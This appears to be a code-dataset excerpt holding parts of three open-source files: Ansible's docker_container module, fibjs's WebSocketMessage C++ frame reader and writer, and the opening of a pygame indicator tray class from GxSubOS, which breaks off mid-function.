dict(Output=output) return insp return self._get_container(container_id) def container_remove(self, container_id, link=False, force=False): volume_state = (not self.parameters.keep_volumes) self.log("remove container container:%s v:%s link:%s force%s" % (container_id, volume_state, link, force)) self.results['actions'].append(dict(removed=container_id, volume_state=volume_state, link=link, force=force)) self.results['changed'] = True response = None if not self.check_mode: count = 0 while True: try: response = self.client.remove_container(container_id, v=volume_state, link=link, force=force) except NotFound as dummy: pass except APIError as exc: if 'Unpause the container before stopping or killing' in exc.explanation: # New docker daemon versions do not allow containers to be removed # if they are paused. Make sure we don't end up in an infinite loop. if count == 3: self.fail("Error removing container %s (tried to unpause three times): %s" % (container_id, str(exc))) count += 1 # Unpause try: self.client.unpause(container=container_id) except Exception as exc2: self.fail("Error unpausing container %s for removal: %s" % (container_id, str(exc2))) # Now try again continue if 'removal of container ' in exc.explanation and ' is already in progress' in exc.explanation: pass else: self.fail("Error removing container %s: %s" % (container_id, str(exc))) except Exception as exc: self.fail("Error removing container %s: %s" % (container_id, str(exc))) # We only loop when explicitly requested by 'continue' break return response def container_update(self, container_id, update_parameters): if update_parameters: self.log("update container %s" % (container_id)) self.log(update_parameters, pretty_print=True) self.results['actions'].append(dict(updated=container_id, update_parameters=update_parameters)) self.results['changed'] = True if not self.check_mode and callable(getattr(self.client, 'update_container')): try: result = self.client.update_container(container_id, **update_parameters) self.client.report_warnings(result) except Exception as exc: self.fail("Error updating container %s: %s" % (container_id, str(exc))) return self._get_container(container_id) def container_kill(self, container_id): self.results['actions'].append(dict(killed=container_id, signal=self.parameters.kill_signal)) self.results['changed'] = True response = None if not self.check_mode: try: if self.parameters.kill_signal: response = self.client.kill(container_id, signal=self.parameters.kill_signal) else: response = self.client.kill(container_id) except Exception as exc: self.fail("Error killing container %s: %s" % (container_id, exc)) return response def container_restart(self, container_id): self.results['actions'].append(dict(restarted=container_id, timeout=self.parameters.stop_timeout)) self.results['changed'] = True if not self.check_mode: try: if self.parameters.stop_timeout: dummy = self.client.restart(container_id, timeout=self.parameters.stop_timeout) else: dummy = self.client.restart(container_id) except Exception as exc: self.fail("Error restarting container %s: %s" % (container_id, str(exc))) return self._get_container(container_id) def container_stop(self, container_id): if self.parameters.force_kill: self.container_kill(container_id) return self.results['actions'].append(dict(stopped=container_id, timeout=self.parameters.stop_timeout)) self.results['changed'] = True response = None if not self.check_mode: count = 0 while True: try: if self.parameters.stop_timeout: response = self.client.stop(container_id, timeout=self.parameters.stop_timeout) else: response = self.client.stop(container_id) except APIError as exc: if 'Unpause the container before stopping or killing' in exc.explanation: # New docker daemon versions do not allow containers to be removed # if they are paused. Make sure we don't end up in an infinite loop. if count == 3: self.fail("Error removing container %s (tried to unpause three times): %s" % (container_id, str(exc))) count += 1 # Unpause try: self.client.unpause(container=container_id) except Exception as exc2: self.fail("Error unpausing container %s for removal: %s" % (container_id, str(exc2))) # Now try again continue self.fail("Error stopping container %s: %s" % (container_id, str(exc))) except Exception as exc: self.fail("Error stopping container %s: %s" % (container_id, str(exc))) # We only loop when explicitly requested by 'continue' break return response def detect_ipvX_address_usage(client): ''' Helper function to detect whether any specified network uses ipv4_address or ipv6_address ''' for network in client.module.params.get("networks") or []: if network.get('ipv4_address') is not None or network.get('ipv6_address') is not None: return True return False class AnsibleDockerClientContainer(AnsibleDockerClient): # A list of module options which are not docker container properties __NON_CONTAINER_PROPERTY_OPTIONS = tuple([ 'env_file', 'force_kill', 'keep_volumes', 'ignore_image', 'name', 'pull', 'purge_networks', 'recreate', 'restart', 'state', 'trust_image_content', 'networks', 'cleanup', 'kill_signal', 'output_logs', 'paused' ] + list(DOCKER_COMMON_ARGS.keys())) def _parse_comparisons(self): comparisons = {} comp_aliases = {} # Put in defaults explicit_types = dict( command='list', devices='set(dict)', dns_search_domains='list', dns_servers='list', env='set', entrypoint='list', etc_hosts='set', mounts='set(dict)', networks='set(dict)', ulimits='set(dict)', device_read_bps='set(dict)', device_write_bps='set(dict)', device_read_iops='set(dict)', device_write_iops='set(dict)', ) all_options = set() # this is for improving user feedback when a wrong option was specified for comparison default_values = dict( stop_timeout='ignore', ) for option, data in self.module.argument_spec.items(): all_options.add(option) for alias in data.get('aliases', []): all_options.add(alias) # Ignore options which aren't used as container properties if option in self.__NON_CONTAINER_PROPERTY_OPTIONS and option != 'networks': continue # Determine option type if option in explicit_types: datatype = explicit_types[option] elif data['type'] == 'list': datatype = 'set' elif data['type'] == 'dict': datatype = 'dict' else: datatype = 'value' # Determine comparison type if option in default_values: comparison = default_values[option] elif datatype in ('list', 'value'): comparison = 'strict' else: comparison = 'allow_more_present' comparisons[option] = dict(type=datatype, comparison=comparison, name=option) # Keep track of aliases comp_aliases[option] = option for alias in data.get('aliases', []): comp_aliases[alias] = option # Process legacy ignore options if self.module.params['ignore_image']: comparisons['image']['comparison'] = 'ignore' if self.module.params['purge_networks']: comparisons['networks']['comparison'] = 'strict' # Process options if self.module.params.get('comparisons'): # If '*' appears in comparisons, process it first if '*' in self.module.params['comparisons']: value = self.module.params['comparisons']['*'] if value not in ('strict', 'ignore'): self.fail("The wildcard can only be used with comparison modes 'strict' and 'ignore'!") for option, v in comparisons.items(): if option == 'networks': # `networks` is special: only update if # some value is actually specified if self.module.params['networks'] is None: continue v['comparison'] = value # Now process all other comparisons. comp_aliases_used = {} for key, value in self.module.params['comparisons'].items(): if key == '*': continue # Find main key key_main = comp_aliases.get(key) if key_main is None: if key_main in all_options: self.fail("The module option '%s' cannot be specified in the comparisons dict, " "since it does not correspond to container's state!" % key) self.fail("Unknown module option '%s' in comparisons dict!" % key) if key_main in comp_aliases_used: self.fail("Both '%s' and '%s' (aliases of %s) are specified in comparisons dict!" % (key, comp_aliases_used[key_main], key_main)) comp_aliases_used[key_main] = key # Check value and update accordingly if value in ('strict', 'ignore'): comparisons[key_main]['comparison'] = value elif value == 'allow_more_present': if comparisons[key_main]['type'] == 'value': self.fail("Option '%s' is a value and not a set/list/dict, so its comparison cannot be %s" % (key, value)) comparisons[key_main]['comparison'] = value else: self.fail("Unknown comparison mode '%s'!" % value) # Add implicit options comparisons['publish_all_ports'] = dict(type='value', comparison='strict', name='published_ports') comparisons['expected_ports'] = dict(type='dict', comparison=comparisons['published_ports']['comparison'], name='expected_ports') comparisons['disable_healthcheck'] = dict(type='value', comparison='ignore' if comparisons['healthcheck']['comparison'] == 'ignore' else 'strict', name='disable_healthcheck') # Check legacy values if self.module.params['ignore_image'] and comparisons['image']['comparison'] != 'ignore': self.module.warn('The ignore_image option has been overridden by the comparisons option!') if self.module.params['purge_networks'] and comparisons['networks']['comparison'] != 'strict': self.module.warn('The purge_networks option has been overridden by the comparisons option!') self.comparisons = comparisons def _get_additional_minimal_versions(self): stop_timeout_supported = self.docker_api_version >= LooseVersion('1.25') stop_timeout_needed_for_update = self.module.params.get("stop_timeout") is not None and self.module.params.get('state') != 'absent' if stop_timeout_supported: stop_timeout_supported = self.docker_py_version >= LooseVersion('2.1') if stop_timeout_needed_for_update and not stop_timeout_supported: # We warn (instead of fail) since in older versions, stop_timeout was not used # to update the container's configuration, but only when stopping a container. self.module.warn("Docker SDK for Python's version is %s. Minimum version required is 2.1 to update " "the container's stop_timeout configuration. " "If you use the 'docker-py' module, you have to switch to the 'docker' Python package." % (docker_version,)) else: if stop_timeout_needed_for_update and not stop_timeout_supported: # We warn (instead of fail) since in older versions, stop_timeout was not used # to update the container's configuration, but only when stopping a container. self.module.warn("Docker API version is %s. Minimum version required is 1.25 to set or " "update the container's stop_timeout configuration." % (self.docker_api_version_str,)) self.option_minimal_versions['stop_timeout']['supported'] = stop_timeout_supported def __init__(self, **kwargs): option_minimal_versions = dict( # internal options log_config=dict(), publish_all_ports=dict(), ports=dict(), volume_binds=dict(), name=dict(), # normal options device_read_bps=dict(docker_py_version='1.9.0', docker_api_version='1.22'), device_read_iops=dict(docker_py_version='1.9.0', docker_api_version='1.22'), device_write_bps=dict(docker_py_version='1.9.0', docker_api_version='1.22'), device_write_iops=dict(docker_py_version='1.9.0', docker_api_version='1.22'), dns_opts=dict(docker_api_version='1.21', docker_py_version='1.10.0'), ipc_mode=dict(docker_api_version='1.25'), mac_address=dict(docker_api_version='1.25'), oom_score_adj=dict(docker_api_version='1.22'), shm_size=dict(docker_api_version='1.22'), stop_signal=dict(docker_api_version='1.21'), tmpfs=dict(docker_api_version='1.22'), volume_driver=dict(docker_api_version='1.21'), memory_reservation=dict(docker_api_version='1.21'), kernel_memory=dict(docker_api_version='1.21'), auto_remove=dict(docker_py_version='2.1.0', docker_api_version='1.25'), healthcheck=dict(docker_py_version='2.0.0', docker_api_version='1.24'), init=dict(docker_py_version='2.2.0', docker_api_version='1.25'), runtime=dict(docker_py_version='2.4.0', docker_api_version='1.25'), sysctls=dict(docker_py_version='1.10.0', docker_api_version='1.24'), userns_mode=dict(docker_py_version='1.10.0', docker_api_version='1.23'), uts=dict(docker_py_version='3.5.0', docker_api_version='1.25'), pids_limit=dict(docker_py_version='1.10.0', docker_api_version='1.23'), mounts=dict(docker_py_version='2.6.0', docker_api_version='1.25'), cpus=dict(docker_py_version='2.3.0', docker_api_version='1.25'), # specials ipvX_address_supported=dict(docker_py_version='1.9.0', docker_api_version='1.22', detect_usage=detect_ipvX_address_usage, usage_msg='ipv4_address or ipv6_address in networks'), stop_timeout=dict(), # see _get_additional_minimal_versions() ) super(AnsibleDockerClientContainer, self).__init__( option_minimal_versions=option_minimal_versions, option_minimal_versions_ignore_params=self.__NON_CONTAINER_PROPERTY_OPTIONS, **kwargs ) self.image_inspect_source = 'Config' if self.docker_api_version < LooseVersion('1.21'): self.image_inspect_source = 'ContainerConfig' self._get_additional_minimal_versions() self._parse_comparisons() if self.module.params['container_default_behavior'] is None: self.module.params['container_default_behavior'] = 'compatibility' self.module.deprecate( 'The container_default_behavior option will change its default value from "compatibility" to ' '"no_defaults" in Ansible 2.14. To remove this warning, please specify an explicit value for it now', version='2.14' ) if self.module.params['container_default_behavior'] == 'compatibility': old_default_values = dict( auto_remove=False, detach=True, init=False, interactive=False, memory="0", paused=False, privileged=False, read_only=False, tty=False, ) for param, value in old_default_values.items(): if self.module.params[param] is None: self.module.params[param] = value def main(): argument_spec = dict( auto_remove=dict(type='bool'), blkio_weight=dict(type='int'), capabilities=dict(type='list', elements='str'), cap_drop=dict(type='list', elements='str'), cleanup=dict(type='bool', default=False), command=dict(type='raw'), comparisons=dict(type='dict'), container_default_behavior=dict(type='str', choices=['compatibility', 'no_defaults']), cpu_period=dict(type='int'), cpu_quota=dict(type='int'), cpus=dict(type='float'), cpuset_cpus=dict(type='str'), cpuset_mems=dict(type='str'), cpu_shares=dict(type='int'), detach=dict(type='bool'), devices=dict(type='list', elements='str'), device_read_bps=dict(type='list', elements='dict', options=dict( path=dict(required=True, type='str'), rate=dict(required=True, type='str'), )), device_write_bps=dict(type='list', elements='dict', options=dict( path=dict(required=True, type='str'), rate=dict(required=True, type='str'), )), device_read_iops=dict(type='list', elements='dict', options=dict( path=dict(required=True, type='str'), rate=dict(required=True, type='int'), )), device_write_iops=dict(type='list', elements='dict', options=dict( path=dict(required=True, type='str'), rate=dict(required=True, type='int'), )), dns_servers=dict(type='list', elements='str'), dns_opts=dict(type='list', elements='str'), dns_search_domains=dict(type='list', elements='str'), domainname=dict(type='str'), entrypoint=dict(type='list', elements='str'), env=dict(type='dict'), env_file=dict(type='path'), etc_hosts=dict(type='dict'), exposed_ports=dict(type='list', elements='str', aliases=['exposed', 'expose']), force_kill=dict(type='bool', default=False, aliases=['forcekill']), groups=dict(type='list', elements='str'), healthcheck=dict(type='dict', options=dict( test=dict(type='raw'), interval=dict(type='str'), timeout=dict(type='str'), start_period=dict(type='str'), retries=dict(type='int'), )), hostname=dict(type='str'), ignore_image=dict(type='bool', default=False), image=dict(type='str'), init=dict(type='bool'), interactive=dict(type='bool'), ipc_mode=dict(type='str'), keep_volumes=dict(type='bool', default=True), kernel_memory=dict(type='str'), kill_signal=dict(type='str'), labels=dict(type='dict'), links=dict(type='list', elements='str'), log_driver=dict(type='str'), log_options=dict(type='dict', aliases=['log_opt']), mac_address=dict(type='str'), memory=dict(type='str'), memory_reservation=dict(type='str'), memory_swap=dict(type='str'), memory_swappiness=dict(type='int'), mounts=dict(type='list', elements='dict', options=dict( target=dict(type='str', required=True), source=dict(type='str'), type=dict(type='str', choices=['bind', 'volume', 'tmpfs', 'npipe'], default='volume'), read_only=dict(type='bool'), consistency=dict(type='str', choices=['default', 'consistent', 'cached', 'delegated']), propagation=dict(type='str', choices=['private', 'rprivate', 'shared', 'rshared', 'slave', 'rslave']), no_copy=dict(type='bool'), labels=dict(type='dict'), volume_driver=dict(type='str'), volume_options=dict(type='dict'), tmpfs_size=dict(type='str'), tmpfs_mode=dict(type='str'), )), name=dict(type='str', required=True), network_mode=dict(type='str'), networks=dict(type='list', elements='dict', options=dict( name=dict(type='str', required=True), ipv4_address=dict(type='str'), ipv6_address=dict(type='str'), aliases=dict(type='list', elements='str'), links=dict(type='list', elements='str'), )), networks_cli_compatible=dict(type='bool'), oom_killer=dict(type='bool'), oom_score_adj=dict(type='int'), output_logs=dict(type='bool', default=False), paused=dict(type='bool'), pid_mode=dict(type='str'), pids_limit=dict(type='int'), privileged=dict(type='bool'), published_ports=dict(type='list', elements='str', aliases=['ports']), pull=dict(type='bool', default=False), purge_networks=dict(type='bool', default=False), read_only=dict(type='bool'), recreate=dict(type='bool', default=False), restart=dict(type='bool', default=False), restart_policy=dict(type='str', choices=['no', 'on-failure', 'always', 'unless-stopped']), restart_retries=dict(type='int'), runtime=dict(type='str'), security_opts=dict(type='list', elements='str'), shm_size=dict(type='str'), state=dict(type='str', default='started', choices=['absent', 'present', 'started', 'stopped']), stop_signal=dict(type='str'), stop_timeout=dict(type='int'), sysctls=dict(type='dict'), tmpfs=dict(type='list', elements='str'), trust_image_content=dict(type='bool', default=False, removed_in_version='2.14'), tty=dict(type='bool'), ulimits=dict(type='list', elements='str'), user=dict(type='str'), userns_mode=dict(type='str'), uts=dict(type='str'), volume_driver=dict(type='str'), volumes=dict(type='list', elements='str'), volumes_from=dict(type='list', elements='str'), working_dir=dict(type='str'), ) required_if = [ ('state', 'present', ['image']) ] client = AnsibleDockerClientContainer( argument_spec=argument_spec, required_if=required_if, supports_check_mode=True, min_docker_api_version='1.20', ) if client.module.params['networks_cli_compatible'] is None and client.module.params['networks']: client.module.deprecate( 'Please note that docker_container handles networks slightly different than docker CLI. ' 'If you specify networks, the default network will still be attached as the first network. ' '(You can specify purge_networks to remove all networks not explicitly listed.) ' 'This behavior will change in Ansible 2.12. You can change the behavior now by setting ' 'the new `networks_cli_compatible` option to `yes`, and remove this warning by setting ' 'it to `no`', version='2.12' ) if client.module.params['networks_cli_compatible'] is True and client.module.params['networks'] and client.module.params['network_mode'] is None: client.module.deprecate( 'Please note that the default value for `network_mode` will change from not specified ' '(which is equal to `default`) to the name of the first network in `networks` if ' '`networks` has at least one entry and `networks_cli_compatible` is `true`. You can ' 'change the behavior now by explicitly setting `network_mode` to the name of the first ' 'network in `networks`, and remove this warning by setting `network_mode` to `default`. ' 'Please make sure that the value you set to `network_mode` equals the inspection result ' 'for existing containers, otherwise the module will recreate them. You can find out the ' 'correct value by running "docker inspect --format \'{{.HostConfig.NetworkMode}}\' <container_name>"', version='2.14' ) try: cm = ContainerManager(client) client.module.exit_json(**sanitize_result(cm.results)) except DockerException as e: client.fail('An unexpected docker error occurred: {0}'.format(e), exception=traceback.format_exc()) except RequestException as e: client.fail('An unexpected requests error occurred when docker-py tried to talk to the docker daemon: {0}'.format(e), exception=traceback.format_exc()) if __name__ == '__main__': main()
gpl-3.0
ngot/nightly-test
fibjs/src/websocket/WebSocketMessage.cpp
14485
/* * WebSocketMessage.cpp * * Created on: Sep 10, 2015 * Author: lion */ #include "object.h" #include "ifs/io.h" #include "WebSocketMessage.h" #include "Buffer.h" #include "MemoryStream.h" namespace fibjs { result_t WebSocketMessage_base::_new(int32_t type, bool masked, int32_t maxSize, obj_ptr<WebSocketMessage_base>& retVal, v8::Local<v8::Object> This) { retVal = new WebSocketMessage(type, masked, maxSize); return 0; } result_t WebSocketMessage::get_value(exlib::string& retVal) { return m_message->get_value(retVal); } result_t WebSocketMessage::set_value(exlib::string newVal) { return m_message->set_value(newVal); } result_t WebSocketMessage::get_params(obj_ptr<List_base>& retVal) { return m_message->get_params(retVal); } result_t WebSocketMessage::set_params(List_base* newVal) { return m_message->set_params(newVal); } result_t WebSocketMessage::get_body(obj_ptr<SeekableStream_base>& retVal) { return m_message->get_body(retVal); } result_t WebSocketMessage::set_body(SeekableStream_base* newVal) { return m_message->set_body(newVal); } result_t WebSocketMessage::read(int32_t bytes, obj_ptr<Buffer_base>& retVal, AsyncEvent* ac) { return m_message->read(bytes, retVal, ac); } result_t WebSocketMessage::readAll(obj_ptr<Buffer_base>& retVal, AsyncEvent* ac) { return m_message->readAll(retVal, ac); } result_t WebSocketMessage::write(Buffer_base* data, AsyncEvent* ac) { return m_message->write(data, ac); } result_t WebSocketMessage::get_length(int64_t& retVal) { return m_message->get_length(retVal); } result_t WebSocketMessage::get_lastError(exlib::string& retVal) { return m_message->get_lastError(retVal); } result_t WebSocketMessage::set_lastError(exlib::string newVal) { return m_message->set_lastError(newVal); } result_t WebSocketMessage::end() { return m_message->end(); } result_t WebSocketMessage::isEnded(bool& retVal) { return m_message->isEnded(retVal); } result_t WebSocketMessage::clear() { m_message = new Message(m_bRep); return 0; } result_t WebSocketMessage::copy(Stream_base* from, Stream_base* to, int64_t bytes, uint32_t mask, AsyncEvent* ac) { class asyncCopy : public AsyncState { public: asyncCopy(Stream_base* from, Stream_base* to, int64_t bytes, uint32_t mask, AsyncEvent* ac) : AsyncState(ac) , m_from(from) , m_to(to) , m_bytes(bytes) , m_mask(mask) , m_copyed(0) { set(read); } static int32_t read(AsyncState* pState, int32_t n) { asyncCopy* pThis = (asyncCopy*)pState; int64_t len; pThis->set(write); if (pThis->m_bytes == 0) return pThis->done(); if (pThis->m_bytes > STREAM_BUFF_SIZE) len = STREAM_BUFF_SIZE; else len = pThis->m_bytes; pThis->m_buf.Release(); return pThis->m_from->read((int32_t)len, pThis->m_buf, pThis); } static int32_t write(AsyncState* pState, int32_t n) { asyncCopy* pThis = (asyncCopy*)pState; int32_t blen; pThis->set(read); if (n == CALL_RETURN_NULL) return CHECK_ERROR(Runtime::setError("WebSocketMessage: payload processing failed.")); if (pThis->m_mask != 0) { exlib::string strBuffer; int32_t i, n; uint8_t* mask = (uint8_t*)&pThis->m_mask; pThis->m_buf->toString(strBuffer); n = (int32_t)strBuffer.length(); for (i = 0; i < n; i++) strBuffer[i] ^= mask[(pThis->m_copyed + i) & 3]; pThis->m_buf = new Buffer(strBuffer); } pThis->m_buf->get_length(blen); pThis->m_copyed += blen; if (pThis->m_bytes > 0) pThis->m_bytes -= blen; return pThis->m_to->write(pThis->m_buf, pThis); } public: obj_ptr<Stream_base> m_from; obj_ptr<Stream_base> m_to; int64_t m_bytes; uint32_t m_mask; int64_t m_copyed; obj_ptr<Buffer_base> m_buf; }; if (!ac) return CHECK_ERROR(CALL_E_NOSYNC); return (new asyncCopy(from, to, bytes, mask, ac))->post(0); } result_t WebSocketMessage::sendTo(Stream_base* stm, AsyncEvent* ac) { class asyncSendTo : public AsyncState { public: asyncSendTo(WebSocketMessage* pThis, Stream_base* stm, AsyncEvent* ac) : AsyncState(ac) , m_pThis(pThis) , m_stm(stm) , m_mask(0) { m_pThis->get_body(m_body); m_body->rewind(); m_body->size(m_size); m_ms = new MemoryStream(); set(head); } static int32_t head(AsyncState* pState, int32_t n) { asyncSendTo* pThis = (asyncSendTo*)pState; uint8_t buf[16]; int32_t pos = 0; int32_t type; pThis->m_pThis->get_type(type); buf[0] = 0x80 | (type & 0x0f); int64_t size = pThis->m_size; if (size < 126) { buf[1] = (uint8_t)size; pos = 2; } else if (size < 65536) { buf[1] = 126; buf[2] = (uint8_t)(size >> 8); buf[3] = (uint8_t)(size & 0xff); pos = 4; } else { buf[1] = 127; buf[2] = (uint8_t)((size >> 56) & 0xff); buf[3] = (uint8_t)((size >> 48) & 0xff); buf[4] = (uint8_t)((size >> 40) & 0xff); buf[5] = (uint8_t)((size >> 32) & 0xff); buf[6] = (uint8_t)((size >> 24) & 0xff); buf[7] = (uint8_t)((size >> 16) & 0xff); buf[8] = (uint8_t)((size >> 8) & 0xff); buf[9] = (uint8_t)(size & 0xff); pos = 10; } if (pThis->m_pThis->m_masked) { buf[1] |= 0x80; uint32_t r = 0; while (r == 0) r = rand(); pThis->m_mask = r; buf[pos++] = (uint8_t)(r & 0xff); buf[pos++] = (uint8_t)((r >> 8) & 0xff); buf[pos++] = (uint8_t)((r >> 16) & 0xff); buf[pos++] = (uint8_t)((r >> 24) & 0xff); } pThis->m_buffer = new Buffer((const char*)buf, pos); pThis->set(sendData); return pThis->m_ms->write(pThis->m_buffer, pThis); } static int32_t sendData(AsyncState* pState, int32_t n) { asyncSendTo* pThis = (asyncSendTo*)pState; pThis->set(sendToStream); return copy(pThis->m_body, pThis->m_ms, pThis->m_size, pThis->m_mask, pThis); } static int32_t sendToStream(AsyncState* pState, int32_t n) { asyncSendTo* pThis = (asyncSendTo*)pState; pThis->m_ms->rewind(); pThis->set(NULL); return io_base::copyStream(pThis->m_ms, pThis->m_stm, -1, pThis->m_size, pThis); } public: obj_ptr<MemoryStream_base> m_ms; WebSocketMessage* m_pThis; obj_ptr<Stream_base> m_stm; obj_ptr<SeekableStream_base> m_body; int64_t m_size; uint32_t m_mask; obj_ptr<Buffer_base> m_buffer; }; if (!ac) return CHECK_ERROR(CALL_E_NOSYNC); return (new asyncSendTo(this, stm, ac))->post(0); } result_t WebSocketMessage::readFrom(Stream_base* stm, AsyncEvent* ac) { class asyncReadFrom : public AsyncState { public: asyncReadFrom(WebSocketMessage* pThis, Stream_base* stm, AsyncEvent* ac) : AsyncState(ac) , m_pThis(pThis) , m_stm(stm) , m_fin(false) , m_masked(false) , m_fragmented(false) , m_size(0) , m_fullsize(0) , m_mask(0) { m_pThis->get_body(m_body); set(head); } static int32_t head(AsyncState* pState, int32_t n) { asyncReadFrom* pThis = (asyncReadFrom*)pState; pThis->set(extHead); return pThis->m_stm->read(2, pThis->m_buffer, pThis); } static int32_t extHead(AsyncState* pState, int32_t n) { asyncReadFrom* pThis = (asyncReadFrom*)pState; if (n == CALL_RETURN_NULL) { pThis->m_pThis->m_error = 1001; return CHECK_ERROR(Runtime::setError("WebSocketMessage: payload processing failed.")); } exlib::string strBuffer; char ch; int32_t sz = 0; pThis->m_buffer->toString(strBuffer); pThis->m_buffer.Release(); ch = strBuffer[0]; if (ch & 0x70) { pThis->m_pThis->m_error = 1007; return CHECK_ERROR(Runtime::setError("WebSocketMessage: non-zero RSV values.")); } pThis->m_fin = (ch & 0x80) != 0; if (pThis->m_fragmented) { if ((ch & 0x0f) != ws_base::_CONTINUE) { pThis->m_pThis->m_error = 1007; return CHECK_ERROR(Runtime::setError("WebSocketMessage: payload processing failed.")); } } else pThis->m_pThis->set_type(ch & 0x0f); ch = strBuffer[1]; if (pThis->m_fragmented) { if (pThis->m_masked != (pThis->m_pThis->m_masked = (ch & 0x80) != 0)) { pThis->m_pThis->m_error = 1007; return CHECK_ERROR(Runtime::setError("WebSocketMessage: payload processing failed.")); } } else pThis->m_masked = pThis->m_pThis->m_masked = (ch & 0x80) != 0; if (pThis->m_masked) sz += 4; pThis->m_size = ch & 0x7f; if (pThis->m_size == 126) sz += 2; else if (pThis->m_size == 127) sz += 8; if (sz) { pThis->set(extReady); return pThis->m_stm->read(sz, pThis->m_buffer, pThis); } pThis->set(body); return 0; } static int32_t extReady(AsyncState* pState, int32_t n) { asyncReadFrom* pThis = (asyncReadFrom*)pState; if (n == CALL_RETURN_NULL) { pThis->m_pThis->m_error = 1007; return CHECK_ERROR(Runtime::setError("WebSocketMessage: payload processing failed.")); } exlib::string strBuffer; int32_t pos = 0; pThis->m_buffer->toString(strBuffer); pThis->m_buffer.Release(); if (pThis->m_size == 126) { pThis->m_size = ((uint32_t)(uint8_t)strBuffer[0] << 8) + (uint8_t)strBuffer[1]; pos += 2; } else if (pThis->m_size == 127) { pThis->m_size = ((int64_t)(uint8_t)strBuffer[0] << 56) + ((int64_t)(uint8_t)strBuffer[1] << 48) + ((int64_t)(uint8_t)strBuffer[2] << 40) + ((int64_t)(uint8_t)strBuffer[3] << 32) + ((int64_t)(uint8_t)strBuffer[4] << 24) + ((int64_t)(uint8_t)strBuffer[5] << 16) + ((int64_t)(uint8_t)strBuffer[6] << 8) + (int64_t)(uint8_t)strBuffer[7]; pos += 8; } if (pThis->m_masked) memcpy(&pThis->m_mask, &strBuffer[pos], 4); pThis->set(body); return 0; } static int32_t body(AsyncState* pState, int32_t n) { asyncReadFrom* pThis = (asyncReadFrom*)pState; if (pThis->m_fullsize + pThis->m_size > pThis->m_pThis->m_maxSize) { pThis->m_pThis->m_error = 1009; return CHECK_ERROR(Runtime::setError("WebSocketMessage: Message Too Big.")); } pThis->set(body_end); return copy(pThis->m_stm, pThis->m_body, pThis->m_size, pThis->m_mask, pThis); } static int32_t body_end(AsyncState* pState, int32_t n) { asyncReadFrom* pThis = (asyncReadFrom*)pState; if (!pThis->m_fin) { pThis->m_fragmented = true; pThis->m_mask = 0; pThis->m_fullsize += pThis->m_size; pThis->set(head); return 0; } pThis->m_body->rewind(); return pThis->done(); } public: WebSocketMessage* m_pThis; obj_ptr<Stream_base> m_stm; obj_ptr<SeekableStream_base> m_body; obj_ptr<Buffer_base> m_buffer; bool m_fin; bool m_masked; bool m_fragmented; int64_t m_size; int64_t m_fullsize; uint32_t m_mask; }; if (!ac) return CHECK_ERROR(CALL_E_NOSYNC); m_stm = stm; return (new asyncReadFrom(this, stm, ac))->post(0); } result_t WebSocketMessage::get_stream(obj_ptr<Stream_base>& retVal) { if (!m_stm) return CALL_RETURN_NULL; retVal = m_stm; return 0; } result_t WebSocketMessage::get_response(obj_ptr<Message_base>& retVal) { if (m_bRep) return CHECK_ERROR(CALL_E_INVALID_CALL); if (!m_message->m_response) { int32_t type; get_type(type); if (type == ws_base::_PING) type = ws_base::_PONG; m_message->m_response = new WebSocketMessage(type, false, m_maxSize, true); } return m_message->get_response(retVal); } result_t WebSocketMessage::get_type(int32_t& retVal) { return m_message->get_type(retVal); } result_t WebSocketMessage::set_type(int32_t newVal) { return m_message->set_type(newVal); } result_t WebSocketMessage::get_data(v8::Local<v8::Value>& retVal) { return m_message->get_data(retVal); } result_t WebSocketMessage::get_masked(bool& retVal) { retVal = m_masked; return 0; } result_t WebSocketMessage::set_masked(bool newVal) { m_masked = newVal; return 0; } result_t WebSocketMessage::get_maxSize(int32_t& retVal) { retVal = m_maxSize; return 0; } result_t WebSocketMessage::set_maxSize(int32_t newVal) { if (newVal < 0) return CHECK_ERROR(CALL_E_OUTRANGE); m_maxSize = newVal; return 0; } } /* namespace fibjs */
gpl-3.0
WarriorIng64/GxSubOS
indicatortray.py
4871
# This file is part of GxSubOS. # Copyright (C) 2014 Christopher Kyle Horton <christhehorton@gmail.com> # GxSubOS is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # GxSubOS is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with GxSubOS. If not, see <http://www.gnu.org/licenses/>. import sys, pygame from indicator import Indicator import glass, shadow transparent = pygame.color.Color(0, 0, 0, 0) class IndicatorTray(): '''A class implementing a tray where various Indicators are displayed.''' tray_color = glass.glass_color tray_color_opaque = glass.glass_color tray_color.a = glass.glass_alpha tray_height = 24 shadow_height = 10 def __init__(self, screenw, screenh, wm=None): self.indicator_list = [] self.surface = glass.MakeTransparentSurface(screenw, self.tray_height + self.shadow_height) if glass.enable_transparency: self.surface.fill(self.tray_color) self.color_surface = pygame.Surface((screenw, self.tray_height), pygame.SRCALPHA) self.color_surface.fill(self.tray_color) else: self.surface.fill(self.tray_color_opaque) self.color_surface = pygame.Surface((screenw, self.tray_height)) self.color_surface.fill(self.tray_color_opaque) self.update_rect = pygame.Rect(0, 0, 0, 0) self.wm = wm def SetWindowManager(self, windowmanager): '''Sets the WindowManager that this IndicatorTray will connect to.''' self.wm = windowmanager def GetIndicatorsWidth(self): '''Returns the total width in pixels of all the Indicators currently stored in the indicator_list.''' width = 0 for indicator in self.indicator_list: width += indicator.width return width def UpdateIndicatorPositions(self): '''Updates the positions of all the Indicators in the list.''' next_right = 0 for indicator in self.indicator_list: new_x = pygame.display.Info().current_w - next_right - indicator.width self.update_rect.union_ip(indicator.UpdatePosition(new_x)) next_right += indicator.width def RedrawBackground(self, screen): '''Redraw the background behind the Indicators.''' tray_width = self.GetIndicatorsWidth() tray_left = pygame.display.Info().current_w - tray_width glass.DrawBackground(screen, self.surface, self.surface.get_rect()) if glass.enable_transparency: self.surface = glass.Blur(self.surface) self.surface.blit(self.color_surface, [0, 0, 0, 0]) triangle_points = [(tray_left - self.tray_height, 0), (tray_left - self.tray_height, self.tray_height), (tray_left, self.tray_height)] pygame.draw.polygon(self.surface, transparent, triangle_points) pygame.draw.rect(self.surface, transparent, pygame.Rect(0, 0, tray_left - self.tray_height, self.tray_height)) pygame.draw.rect(self.surface, transparent, pygame.Rect(0, self.tray_height, self.surface.get_width(), self.surface.get_height() - self.tray_height)) shadow.DrawIndicatorTrayShadow(self) def DrawTray(self, screen): '''Draws this IndicatorTray onto the provided Surface. Returns a Rect containing the area which was drawn to.''' screen.blit(self.surface, (0, 0)) for indicator in 